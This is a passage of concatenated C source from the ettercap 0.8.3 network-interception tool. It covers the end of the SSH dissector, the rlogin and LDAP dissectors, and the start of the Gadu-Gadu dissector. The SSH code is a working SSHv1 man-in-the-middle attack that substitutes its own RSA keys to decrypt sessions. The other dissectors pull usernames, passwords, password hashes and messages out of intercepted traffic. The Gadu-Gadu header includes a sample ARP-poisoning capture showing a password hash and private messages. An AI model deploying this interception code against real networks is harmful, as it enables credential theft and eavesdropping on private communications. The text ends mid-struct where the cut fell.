PACKET->DISSECTOR.pass = strdup("RHOSTS-AUTH\n"); DISSECT_MSG("SSH : %s:%d -> USER: %s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); } else if (ssh_packet_type == CMSG_AUTH_RSA) { DEBUG_MSG("\tDissector_ssh RSA AUTH"); PACKET->DISSECTOR.user = strdup((const char*)session_data->user); PACKET->DISSECTOR.pass = strdup("RSA-AUTH\n"); DISSECT_MSG("SSH : %s:%d -> USER: %s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); } else if (ssh_packet_type == CMSG_REQUEST_COMPRESSION) { session_data->compression_status = COMPRESSION_REQUEST; } else if (session_data->compression_status == COMPRESSION_REQUEST) { if (ssh_packet_type == SMSG_SUCCESS) { session_data->compression_status = COMPRESSION_ON; /* XXX We should notify top half */ } if (ssh_packet_type == SMSG_FAILURE) session_data->compression_status = NO_COMPRESSION; } /* These are readable packets so copy it in the DISPDATA */ if ((ssh_packet_type>=CMSG_STDIN_DATA && ssh_packet_type<=SMSG_STDERR_DATA) || ssh_packet_type == 4 || ssh_packet_type == 9) { u_char *temp_disp_data; /* Avoid int overflow or bogus data_len (realloc is too optimistic) */ if ((PACKET->DATA.disp_len + data_len + 1 < PACKET->DATA.disp_len) || (data_len > ssh_len)) { SAFE_FREE(clear_packet); SAFE_FREE(crypted_packet); return NULL; } /* Add this decrypted packet to the disp_data. * There can be more than one ssh packet in a tcp pck. * We use a temp buffer to not feed top half with a null * pointer to disp_data. */ temp_disp_data = (u_char *)realloc(PACKET->DATA.disp_data, PACKET->DATA.disp_len + data_len + 1); if (temp_disp_data == NULL) { SAFE_FREE(clear_packet); SAFE_FREE(crypted_packet); return NULL; } PACKET->DATA.disp_data = temp_disp_data; memcpy(PACKET->DATA.disp_data+PACKET->DATA.disp_len, ptr, data_len); PACKET->DATA.disp_len += data_len; } SAFE_FREE(clear_packet); SAFE_FREE(crypted_packet); } /* We are no longer interested on key stuff */ return NULL; } /* We are not ready to decrypt packets because * we are still waiting for some key stuff. */ /* We need the packet to be forwardable to mangle * key exchange. Otherwise wipe the session. */ if(!(PACKET->flags & PO_FORWARDABLE)) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_ssh)); return NULL; } /* Catch packet type and skip to data. * Doing this for client's cleartext * banner packet is safe too. */ ssh_len = pntol(PACKET->DATA.data); ssh_mod = 8 - (ssh_len % 8); ptr = PACKET->DATA.data + 4 + ssh_mod; ssh_packet_type = *ptr; ptr++; if(FROM_SERVER("ssh", PACKET)) { /* Server Packets (Public Key) */ /* Enter if we are waiting for PublicKey packet. * Enter even if we are waiting for SessionKey: * if the server sends the public key twice we have * to replace both. */ if ((session_data->status == WAITING_PUBLIC_KEY || session_data->status == WAITING_SESSION_KEY) && ssh_packet_type == SMSG_PUBLIC_KEY) { ssh_my_key **index_ssl; u_int32 server_mod, host_mod, cypher_mask, my_mask=0; BIGNUM *server_exp = NULL, *host_exp = NULL; /* Set the mask to 3DES or blowfish (if supported) */ cypher_mask = *(u_int32 *)(PACKET->DATA.data + PACKET->DATA.len - 12); cypher_mask = htonl(cypher_mask); if (cypher_mask & (1<DATA.data + PACKET->DATA.len - 12) = htonl(my_mask); /* Remember where to put the key */ ptr += 8; key_to_put = ptr; /* If it's the first time we catch the public key */ if (session_data->ptrkey == NULL) { /* Initialize RSA key structures (other fileds are set to 0) */ session_data->serverkey = RSA_new(); #ifdef HAVE_OPAQUE_RSA_DSA_DH s_n = BN_new(); s_e = BN_new(); RSA_set0_key(session_data->serverkey, s_n, s_e, s_d); #else session_data->serverkey->n = BN_new(); session_data->serverkey->e = BN_new(); #endif session_data->hostkey = RSA_new(); #ifdef HAVE_OPAQUE_RSA_DSA_DH h_n = BN_new(); h_e = BN_new(); RSA_set0_key(session_data->hostkey, h_n, h_e, h_d); #else session_data->hostkey->n = BN_new(); session_data->hostkey->e = BN_new(); #endif /* Get the RSA Key from the packet */ NS_GET32(server_mod,ptr); if (ptr + (server_mod/8) > PACKET->DATA.data + PACKET->DATA.len) { DEBUG_MSG("Dissector_ssh Bougs Server_Mod"); return NULL; } #ifdef HAVE_OPAQUE_RSA_DSA_DH RSA_get0_key(session_data->serverkey, (const BIGNUM**)&s_n, (const BIGNUM**)&s_e, (const BIGNUM**)&s_d); get_bn(s_e, &ptr); get_bn(s_n, &ptr); #else get_bn(session_data->serverkey->e, &ptr); get_bn(session_data->serverkey->n, &ptr); #endif NS_GET32(host_mod,ptr); if (ptr + (host_mod/8) > PACKET->DATA.data + PACKET->DATA.len) { DEBUG_MSG("Dissector_ssh Bougs Host_Mod"); return NULL; } #ifdef HAVE_OPAQUE_RSA_DSA_DH RSA_get0_key(session_data->hostkey, (const BIGNUM**)&h_n, (const BIGNUM**)&h_e, (const BIGNUM**)&h_d); get_bn(h_e, &ptr); get_bn(h_n, &ptr); #else get_bn(session_data->hostkey->e, &ptr); get_bn(session_data->hostkey->n, &ptr); #endif #ifdef HAVE_OPAQUE_RSA_DSA_DH server_exp = s_e; host_exp = h_e; #else BN_set_word(server_exp, *(session_data->serverkey->e->d)); BN_set_word(host_exp, *(session_data->hostkey->e->d)); #endif /* Check if we already have a suitable RSA key to substitute */ index_ssl = &ssh_conn_key; while(*index_ssl != NULL && ((*index_ssl)->server_mod != server_mod || (*index_ssl)->host_mod != host_mod || (*index_ssl)->server_exp != server_exp || (*index_ssl)->host_exp != host_exp)) index_ssl = (ssh_my_key **)&((*index_ssl)->next); /* ...otherwise generate it */ if (*index_ssl == NULL) { SAFE_CALLOC(*index_ssl, 1, sizeof(ssh_my_key)); /* Generate the new key */ (*index_ssl)->myserverkey = RSA_new(); if (!RSA_generate_key_ex((*index_ssl)->myserverkey, server_mod, server_exp, NULL)) { RSA_free((*index_ssl)->myserverkey); SAFE_FREE(*index_ssl); return NULL; } (*index_ssl)->myhostkey = RSA_new(); if (!RSA_generate_key_ex((*index_ssl)->myhostkey, host_mod, host_exp, NULL)) { RSA_free((*index_ssl)->myhostkey); SAFE_FREE(*index_ssl); return NULL; } (*index_ssl)->server_mod = server_mod; (*index_ssl)->host_mod = host_mod; (*index_ssl)->server_exp = server_exp; (*index_ssl)->host_exp = host_exp; (*index_ssl)->next = NULL; } /* Assign the key to the session */ session_data->ptrkey = *index_ssl; } /* Put our RSA key in the packet */ key_to_put+=4; #ifdef HAVE_OPAQUE_RSA_DSA_DH RSA_get0_key(session_data->ptrkey->myserverkey, (const BIGNUM**)&m_s_n, (const BIGNUM**)&m_s_e, (const BIGNUM**)&m_s_d); put_bn(m_s_e, &key_to_put); put_bn(m_s_n, &key_to_put); #else put_bn(session_data->ptrkey->myserverkey->e, &key_to_put); put_bn(session_data->ptrkey->myserverkey->n, &key_to_put); #endif key_to_put+=4; #ifdef HAVE_OPAQUE_RSA_DSA_DH RSA_get0_key(session_data->ptrkey->myhostkey, (const BIGNUM**)&m_h_n, (const BIGNUM**)&m_h_e, (const BIGNUM**)&m_h_d); put_bn(m_h_e, &key_to_put); put_bn(m_h_n, &key_to_put); #else put_bn(session_data->ptrkey->myhostkey->e, &key_to_put); put_bn(session_data->ptrkey->myhostkey->n, &key_to_put); #endif /* Recalculate SSH crc */ *(u_int32 *)(PACKET->DATA.data + PACKET->DATA.len - 4) = htonl(CRC_checksum(PACKET->DATA.data+4, PACKET->DATA.len-8, CRC_INIT_ZERO)); PACKET->flags |= PO_MODIFIED; session_data->status = WAITING_SESSION_KEY; } } else { /* Client Packets */ if (session_data->status == WAITING_CLIENT_BANNER) { /* Client Banner */ if (!memcmp(PACKET->DATA.data,"SSH-2",5)) { DEBUG_MSG("Dissector_ssh SSHv2"); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_ssh)); } else session_data->status = WAITING_PUBLIC_KEY; } else if (session_data->status == WAITING_SESSION_KEY && ssh_packet_type == CMSG_SESSION_KEY) { /* Ready to catch and modify SESSION_KEY */ u_char cookie[8], sesskey[32], session_id1[16], session_id2[16], cypher; u_char *temp_session_id; BIGNUM *enckey, *bn; u_int32 i; /* Get the cypher and the cookie */ cypher = *ptr; if (cypher != SSH_CIPHER_3DES && cypher != SSH_CIPHER_BLOWFISH) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_ssh)); return NULL; } memcpy(cookie, ++ptr, 8); ptr += 8; key_to_put = ptr; /* Calculate real session id and our fake session id */ #ifdef HAVE_OPAQUE_RSA_DSA_DH temp_session_id = ssh_session_id(cookie, h_n, s_n); #else temp_session_id = ssh_session_id(cookie, session_data->hostkey->n, session_data->serverkey->n); #endif if (temp_session_id) memcpy(session_id1, temp_session_id, 16); #ifdef HAVE_OPAQUE_RSA_DSA_DH temp_session_id=ssh_session_id(cookie, m_h_n, m_s_n); #else temp_session_id=ssh_session_id(cookie, session_data->ptrkey->myhostkey->n, session_data->ptrkey->myserverkey->n); #endif if (temp_session_id) memcpy(session_id2, temp_session_id, 16); /* Get the session key */ enckey = BN_new(); get_bn(enckey, &ptr); /* Decrypt session key */ #ifdef HAVE_OPAQUE_RSA_DSA_DH if (BN_cmp(m_s_n, m_h_n) > 0) { #else if (BN_cmp(session_data->ptrkey->myserverkey->n, session_data->ptrkey->myhostkey->n) > 0) { #endif rsa_private_decrypt(enckey, enckey, session_data->ptrkey->myserverkey); rsa_private_decrypt(enckey, enckey, session_data->ptrkey->myhostkey); } else { rsa_private_decrypt(enckey, enckey, session_data->ptrkey->myhostkey); rsa_private_decrypt(enckey, enckey, session_data->ptrkey->myserverkey); } BN_mask_bits(enckey, sizeof(sesskey) * 8); i = BN_num_bytes(enckey); memset(sesskey, 0, sizeof(sesskey)); BN_bn2bin(enckey, sesskey + sizeof(sesskey) - i); BN_clear_free(enckey); for (i = 0; i < 16; i++) sesskey[i] ^= session_id2[i]; /* Save SessionKey */ if (cypher == SSH_CIPHER_3DES) { session_data->key_state[0] = des3_init(sesskey, sizeof(sesskey)); session_data->key_state[1] = des3_init(sesskey, sizeof(sesskey)); session_data->decrypt = des3_decrypt; } else if (cypher == SSH_CIPHER_BLOWFISH) { session_data->key_state[0] = blowfish_init(sesskey, sizeof(sesskey)); session_data->key_state[1] = blowfish_init(sesskey, sizeof(sesskey)); session_data->decrypt = blowfish_decrypt; } /* Re-encrypt SessionKey with the real RSA key */ bn = BN_new(); BN_set_word(bn, 0); for (i = 0; i < sizeof(sesskey); i++) { BN_lshift(bn, bn, 8); if (i < 16) BN_add_word(bn, sesskey[i] ^ session_id1[i]); else BN_add_word(bn, sesskey[i]); } #ifdef HAVE_OPAQUE_RSA_DSA_DH if (BN_cmp(s_n, h_n) < 0) { #else if (BN_cmp(session_data->serverkey->n, session_data->hostkey->n) < 0) { #endif rsa_public_encrypt(bn, bn, session_data->serverkey); rsa_public_encrypt(bn, bn, session_data->hostkey); } else { rsa_public_encrypt(bn, bn, session_data->hostkey); rsa_public_encrypt(bn, bn, session_data->serverkey); } /* Clear the session */ RSA_free(session_data->serverkey); RSA_free(session_data->hostkey); /* Put right Session Key in the packet */ put_bn(bn, &key_to_put); BN_clear_free(bn); /* Re-calculate SSH crc */ *(u_int32 *)(PACKET->DATA.data + PACKET->DATA.len - 4) = htonl(CRC_checksum(PACKET->DATA.data+4, PACKET->DATA.len-8, CRC_INIT_ZERO)); /* XXX Here we should notify the top half that the * connection is decrypted */ /* Initialize the stream buffers for decryption */ streambuf_init(&(session_data->data_buffer[0])); streambuf_init(&(session_data->data_buffer[1])); PACKET->flags |= PO_MODIFIED; session_data->status = WAITING_ENCRYPTED_PCK; } } } return NULL; } /* Read a crypted packet from the stream. * The buffer is dynamically allocated, so * calling function has to free it. */ static int32 read_packet(u_char **buffer, struct stream_buf *dbuf) { int32 length, mod; /* Read packet length and calculate modulus */ if (streambuf_read(dbuf, (u_char *)&length, 4, STREAM_ATOMIC) == -E_INVALID) return -E_INVALID; length = ntohl(length); mod = 8 - (length % 8); /* Allocate the buffer and read the whole packet * SAFE_CALLOC is not good to handle errors. */ *buffer = (u_char *)malloc(length + mod + 4); if (*buffer == NULL) return -E_INVALID; if (streambuf_get(dbuf, *buffer, length + mod + 4, STREAM_ATOMIC) == -E_INVALID) { SAFE_FREE(*buffer); return -E_INVALID; } return E_SUCCESS; } /* 3DES and blowfish stuff - Thanks to Dug Song ;) */ static void *des3_init(u_char *sesskey, int len) { struct des3_state *state; state = malloc(sizeof(*state)); if (state == NULL) /* oops, couldn't allocate memory */ return NULL; DES_set_key((void *)sesskey, &(state->k1)); DES_set_key((void *)(sesskey + 8), &(state->k2)); if (len <= 16) DES_set_key((void *)sesskey, &(state->k3)); else DES_set_key((void *)(sesskey + 16), &(state->k3)); memset(state->iv1, 0, 8); memset(state->iv2, 0, 8); memset(state->iv3, 0, 8); return (state); } static void des3_decrypt(u_char *src, u_char *dst, int len, void *state) { struct des3_state *dstate; dstate = (struct des3_state *)state; memcpy(dstate->iv1, dstate->iv2, 8); DES_ncbc_encrypt(src, dst, len, &(dstate->k3), &dstate->iv3, DES_DECRYPT); DES_ncbc_encrypt(dst, dst, len, &(dstate->k2), &dstate->iv2, DES_ENCRYPT); DES_ncbc_encrypt(dst, dst, len, &(dstate->k1), &dstate->iv1, DES_DECRYPT); } static void swap_bytes(const u_char *src, u_char *dst, int n) { char c[4]; for (n = n / 4; n > 0; n--) { c[3] = *src++; c[2] = *src++; c[1] = *src++; c[0] = *src++; *dst++ = c[0]; *dst++ = c[1]; *dst++ = c[2]; *dst++ = c[3]; } } static void *blowfish_init(u_char *sesskey, int len) { struct blowfish_state *state; state = malloc(sizeof(*state)); if (state == NULL) /* oops, couldn't allocate memory */ return NULL; BF_set_key(&state->key, len, sesskey); memset(state->iv, 0, 8); return (state); } static void blowfish_decrypt(u_char *src, u_char *dst, int len, void *state) { struct blowfish_state *dstate; dstate = (struct blowfish_state *)state; swap_bytes(src, dst, len); BF_cbc_encrypt((void *)dst, dst, len, &dstate->key, dstate->iv, BF_DECRYPT); swap_bytes(dst, dst, len); } static void put_bn(BIGNUM *bn, u_char **pp) { short i; i = BN_num_bits(bn); NS_PUT16(i, *pp); *pp+=BN_bn2bin(bn, *pp); } static void get_bn(BIGNUM *bn, u_char **pp) { short i; NS_GET16(i, *pp); i = ((i + 7) / 8); BN_bin2bn(*pp, i, bn); *pp += i; } static u_char *ssh_session_id(u_char *cookie, BIGNUM *hostkey_n, BIGNUM *serverkey_n) { static u_char sessid[16]; u_int i, j; u_char *p; i = BN_num_bytes(hostkey_n); j = BN_num_bytes(serverkey_n); if ((p = malloc(i + j + 8)) == NULL) return (NULL); BN_bn2bin(hostkey_n, p); BN_bn2bin(serverkey_n, p + i); memcpy(p + i + j, cookie, 8); MD5(p, i + j + 8, sessid); free(p); return (sessid); } static void rsa_public_encrypt(BIGNUM *out, BIGNUM *in, RSA *key) { u_char *inbuf, *outbuf; int32 len, ilen, olen; #ifdef HAVE_OPAQUE_RSA_DSA_DH const BIGNUM *n; const BIGNUM *e; const BIGNUM *d; RSA_get0_key(key, &n, &e, &d); olen = BN_num_bytes(n); #else olen = BN_num_bytes(key->n); #endif outbuf = malloc(olen); if (outbuf == NULL) /* oops, couldn't allocate memory */ return; ilen = BN_num_bytes(in); inbuf = malloc(ilen); if (inbuf == NULL) { /* oops, couldn't allocate memory */ SAFE_FREE(outbuf); return; } BN_bn2bin(in, inbuf); len = RSA_public_encrypt(ilen, inbuf, outbuf, key, RSA_PKCS1_PADDING); if (len != -1) BN_bin2bn(outbuf, len, out); free(outbuf); free(inbuf); } static void rsa_private_decrypt(BIGNUM *out, BIGNUM *in, RSA *key) { u_char *inbuf, *outbuf; int32 len, ilen, olen; #ifdef HAVE_OPAQUE_RSA_DSA_DH const BIGNUM *n; const BIGNUM *e; const BIGNUM *d; RSA_get0_key(key, &n, &e, &d); olen = BN_num_bytes(n); #else olen = BN_num_bytes(key->n); #endif outbuf = malloc(olen); if (outbuf == NULL) /* oops, couldn't allocate memory */ return; ilen = BN_num_bytes(in); inbuf = malloc(ilen); if (inbuf == NULL) { /* oops, couldn't allocate memory */ SAFE_FREE(outbuf); return; } BN_bn2bin(in, inbuf); len = RSA_private_decrypt(ilen, inbuf, outbuf, key, RSA_PKCS1_PADDING); if (len != -1) BN_bin2bn(outbuf, len, out); free(outbuf); free(inbuf); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_rlogin.c0000644000175000017500000001423513505247364020257 0ustar koeppeakoeppea/* ettercap -- dissector RLOGIN -- TCP 512 513 514, UDP 513 These ports are the well known Unix R-Services (rexec, rlogin, rshell, rwho) Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* protos */ FUNC_DECODER(dissector_rlogin); void rlogin_init(void); void skip_rlogin_command(u_char **ptr, u_char *end); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init rlogin_init(void) { dissect_add("rlogin", APP_LAYER_TCP, 512, dissector_rlogin); dissect_add("rlogin", APP_LAYER_TCP, 513, dissector_rlogin); dissect_add("rlogin", APP_LAYER_UDP, 513, dissector_rlogin); dissect_add("rlogin", APP_LAYER_TCP, 514, dissector_rlogin); } /* * rlogin sends characters one per packet for the password * but the login is sent all together on the second packet * sent by the client. */ FUNC_DECODER(dissector_rlogin) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip messages from the server */ if (FROM_SERVER("rlogin", PACKET)) return NULL; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; DEBUG_MSG("rlogin --> TCP dissector_rlogin"); /* create an ident to retrieve the session */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_rlogin)); /* this is the rlogin handshake */ if (*ptr == '\0') { /* retrieve the session */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_rlogin)); /* remember the state (used later) */ s->data = strdup("HANDSHAKE"); /* save the session */ session_put(s); SAFE_FREE(ident); return NULL; } } /* the first packet after handshake */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS && s->data) { if (!strcmp(s->data, "HANDSHAKE")) { char *localuser; char *remoteuser; localuser = (char*)ptr; /* sanity check */ if ((localuser + strlen(localuser) + 2) < (char*)end) remoteuser = localuser + strlen(localuser) + 1; else { /* bad packet, abort the collection process */ session_del(ident, DISSECT_IDENT_LEN); SAFE_FREE(ident); return NULL; } SAFE_FREE(s->data); /* make room for the string */ SAFE_CALLOC(s->data, strlen(localuser) + strlen(remoteuser) + 5, sizeof(char)); snprintf(s->data, strlen(localuser)+strlen(remoteuser) + 5, "%s (%s)\r", remoteuser, localuser); SAFE_FREE(ident); return NULL; } } /* concat the pass to the collected user */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS && s->data) { size_t i, stringlen; char *p; char str[strlen(s->data) + PACKET->DATA.disp_len + 2]; memset(str, 0, sizeof(str)); /* concat the char to the previous one */ snprintf(str, strlen(s->data) + PACKET->DATA.disp_len + 2, "%s%s", (char *)s->data, ptr); /* parse the string for backspaces and erase as wanted */ stringlen = strlen(str); for (p = str, i = 0; i < stringlen; i++) { if (str[i] == '\b' || str[i] == 0x7f) { /* don't go behind str */ if (p > str) p--; } else { *p = str[i]; p++; } } *p = '\0'; /* save the new string */ SAFE_FREE(s->data); s->data = strdup(str); /* * the user input is terminated * check if it was the password by checking * the presence of \r in the string * we store "user\rpass\r" and then we split it */ if (strchr((const char*)ptr, '\r') || strchr((const char*)ptr, '\n')) { /* there is the \r and it is not the last char */ if ( ((ptr = (u_char*)strchr(s->data, '\r')) || (ptr = (u_char*)strchr(s->data, '\n'))) && ptr != s->data + strlen(s->data) - 1 ) { /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data); if ( (ptr = (u_char*)strchr((const char*)PACKET->DISSECTOR.user, '\r')) != NULL ) *ptr = '\0'; else { SAFE_FREE(PACKET->DISSECTOR.user); return NULL; } PACKET->DISSECTOR.pass = strdup((const char*)ptr + 1); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) *ptr = '\0'; /* * delete the session to remember that * user and pass was collected */ session_del(ident, DISSECT_IDENT_LEN); SAFE_FREE(ident); /* display the message */ DISSECT_MSG("RLOGIN : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); } } } SAFE_FREE(ident); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_ldap.c0000644000175000017500000000624613505247364017710 0ustar koeppeakoeppea/* ettercap -- dissector ldap -- TCP 389 Copyright (C) ALoR & NaGA Additional Copyright for this file: LnZ Lorenzo Porro This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include #include #include #include /* protos */ FUNC_DECODER(dissector_ldap); void ldap_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init ldap_init(void) { dissect_add("ldap", APP_LAYER_TCP, 389, dissector_ldap); sslw_dissect_add("ldaps", 636, dissector_ldap, SSL_ENABLED); } FUNC_DECODER(dissector_ldap) { DECLARE_DISP_PTR_END(ptr, end); u_int16 type, user_len, pass_len; char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* We need at least 15 bytes of data to be interested*/ if (PACKET->DATA.len < 15) return NULL; /* Only packets coming from the server */ if (FROM_SERVER("ldap", PACKET) || FROM_SERVER("ldaps", PACKET)) return NULL; /* Message Type */ type = (u_int16)ptr[5]; if (type != 0x60 && type != 0x00) return NULL; /* Quite self-explaining :) */ user_len = (u_int16)ptr[11]; if ((ptr + user_len + 12) > end) return NULL; pass_len = (u_int16)ptr[13 + user_len]; if ((ptr + user_len + pass_len + 14) > end) return NULL; if (user_len == 0) { PACKET->DISSECTOR.user = strdup("[Anonymous Bind]"); PACKET->DISSECTOR.pass = strdup(""); DISSECT_MSG("LDAP : %s:%d -> Anonymous Bind\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst)); return NULL; } /* user_len and pass_len are u_int16, so no int overflow :) */ SAFE_CALLOC(PACKET->DISSECTOR.user, user_len + 1, sizeof(char)); SAFE_CALLOC(PACKET->DISSECTOR.pass, pass_len + 1, sizeof(char)); memcpy(PACKET->DISSECTOR.user, &ptr[12], user_len); memcpy(PACKET->DISSECTOR.pass, &ptr[14] + user_len, pass_len); DISSECT_MSG("LDAP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_gg.c0000644000175000017500000005426413505247364017370 0ustar koeppeakoeppea/* ettercap -- dissector gadu-gadu -- TCP 8074 (alternatively 443) Copyright (C) Michal Szymanski gg: 7244283 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* ABOUT: ettercap-gg is a Gadu-Gadu IM ettercap dissector. It is a patch for ettercap sniffer that adds the ability to intercept Gadu-Gadu logins, passwords and messages. Gadu-Gadu (http://www.gadu-gadu.pl/) is the most widely used IM network in Poland with ~6mln users. Protocol description taken from http://ekg.chmurka.net/docs/protocol.html + own research (7.x). The newest version can be found at http://ettercap-gg.sourceforge.net/ FEATURES: - supports following gadu-gadu protocols: 4.x, 5.x, 6.x, 7.x - intercepts sent/received messages - intercepts gg numbers, password hashes and seeds (can be bruteforced by ggbrute) - intercepts status descriptions - notifies about status changes - intercepts gg server/client ip addresses - intercepts gg user's local/remote ip addresses - intercepts gg connections to port 8074 and 443 - determines Gadu-Gadu version INSTALLATION & CONFIGURATION: Apply Gadu-Gadu dissector patch and compile ettercap as you used to do before: patch -p0 < ettercap-NG-0.7.3-gg_dissector_02.patch ./configure make make install Normally Gadu-Gadu dissector is installed on port number 8074 (appropriate entry is added to etter.conf file). If you want to enable dissector to intercept traffic on port 443 just turn off https dissector (there can be only one dissector on the same port at the same time) by editing etter.conf file and changing following line: https = 443 # tcp 443 to https = 0 # tcp 443 After that all you need to do is to add 443 port to gg dissector: gg = 8074,443 # tcp 8074 That's all. Play wisely. */ /* EXAMPLE SESSION (with GG_CONTACTS_STATUS_CHANGES enabled) - version 0.2: ARP poisoning victims: GROUP 1 : 10.10.10.11 00:01:20:02:34:21 GROUP 2 : 10.10.10.1 00:0A:84:D8:28:F5 Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help GG : 217.17.45.143:443 -> 10.10.10.11:1696 - WELCOME SEED: 0xAD130562 (2903704930) GG7 : 10.10.10.11:1696 -> 217.17.45.143:443 - LOGIN UIN: 5114529 PWD_HASH: 0x21D13E38992A341DD33BB52DDFA2382A173A5361 STATUS: (invisible + private) VERSION: 7.7 LIP: 10.10.10.11:1550 RIP: 0.0.0.0:0 GG : 10.10.10.11:1706 -> 217.17.45.143:443 - SEND_MSG RECIPIENT: 7244283 MESSAGE: "wiadomosc testowa" GG : 217.17.45.143:443 -> 10.10.10.11:1706 - RECV_MSG SENDER: 7244283 MESSAGE: "dzieki za wiadomosc" GG7 : 217.17.45.143:443 -> 10.10.10.11:1706 - STATUS CHANGED UIN: 7244283 STATUS: a swistak siedzi i zawija (busy + descr) VERSION: 7.6 RIP: 207.46.19.190:1550 GG : 217.17.41.85:8074 -> 10.10.10.11:1685 - WELCOME SEED: 0x1D66B45F (493270111) GG4/5 : 10.10.10.11:1685 -> 217.17.41.85:8074 - LOGIN UIN: 5114529 PWD_HASH: 0x1B85493D (461719869) STATUS: zaraz weekend (invisible + descr + private) VERSION: 4.8 + has audio LIP: 10.10.10.11:1550 GG : 217.17.41.85:8074 -> 10.10.10.11:1685 - STATUS CHANGED UIN: 2688291 STATUS: i co ja bede robil przez te 4 dni ... (not available + descr) GG : 10.10.10.11:1685 -> 217.17.41.85:8074 - NEW STATUS STATUS: goraaaaaaaaaaaaaco!!!!!!!!! (busy + descr + private) */ /* CHANGELOG: v0.2: - added interception of sent/received messages - added interception of status descriptions - added notification about status changes - added interception of gg server/client ip addresses - added interception of gg user's local/remote ip addresses - added determination of Gadu-Gadu version - tiny bugfixes v0.1 (initial release): - added support for following gadu-gadu protocols: 4.x, 5.x, 6.x, 7.x - added interception of gg numbers, password hashes and seeds - added interception of gg connections to port 8074 and 443 */ /* TODO: - wpkontakt support (sessions management needed) - std_gg/kadu/ekg/wpkontakt fingerprinting (additional research needed) - sms sniffing? (already implemented through http dissector) - nat detection */ /* CONFIGURATION */ /* uncomment #define below if you want to see all contacts status changes - be careful using this option in really big networks - it could mess up your whole screen ! */ /* #define GG_CONTACTS_STATUS_CHANGES 1 */ #include #include #include /* globals */ #define GG_LOGIN50_CMD 0x0000000c #define GG_LOGIN60_CMD 0x00000015 #define GG_LOGIN70_CMD 0x00000019 #define GG_WELCOME_CMD 0x00000001 #define GG_SEND_MSG_CMD 0x0000000b #define GG_RECV_MSG_CMD 0x0000000a #define GG_NEW_STATUS_CMD 0x00000002 #define GG_STATUS_CMD 0x00000002 #define GG_STATUS50_CMD 0x0000000c #define GG_STATUS60_CMD 0x0000000f #define GG_STATUS70_CMD 0x00000017 struct gg_hdr { u_int32 type; u_int32 len; }; struct gg_welcome_hdr { u_int32 seed; }; struct gg_login50_hdr { u_int32 uin; u_int32 hash; u_int32 status; u_int32 version; u_int8 local_ip[4]; u_int16 local_port; char description[71]; /* 70+1 (0x0) */ u_int32 time; }__attribute__ ((packed)); struct gg_login60_hdr { u_int32 uin; u_int32 hash; u_int32 status; u_int32 version; u_int8 unknown1; /* 0x00 */ u_int8 local_ip[4]; u_int16 local_port; u_int8 remote_ip[4]; u_int16 remote_port; u_int8 image_size; u_int8 unknown2; /* 0xbe */ char description[71]; /* 70+1 (0x0) */ u_int32 time; }__attribute__ ((packed)); struct gg_login70_hdr { u_int32 uin; u_int8 unknown1; /* 0x02 */ u_int32 hash[5]; /* 160b */ u_int32 unknown2[11]; /* 0x00, 352b */ u_int32 status; u_int16 version; u_int16 unknown3; /* 0xc202 */ u_int8 unknown4; /* 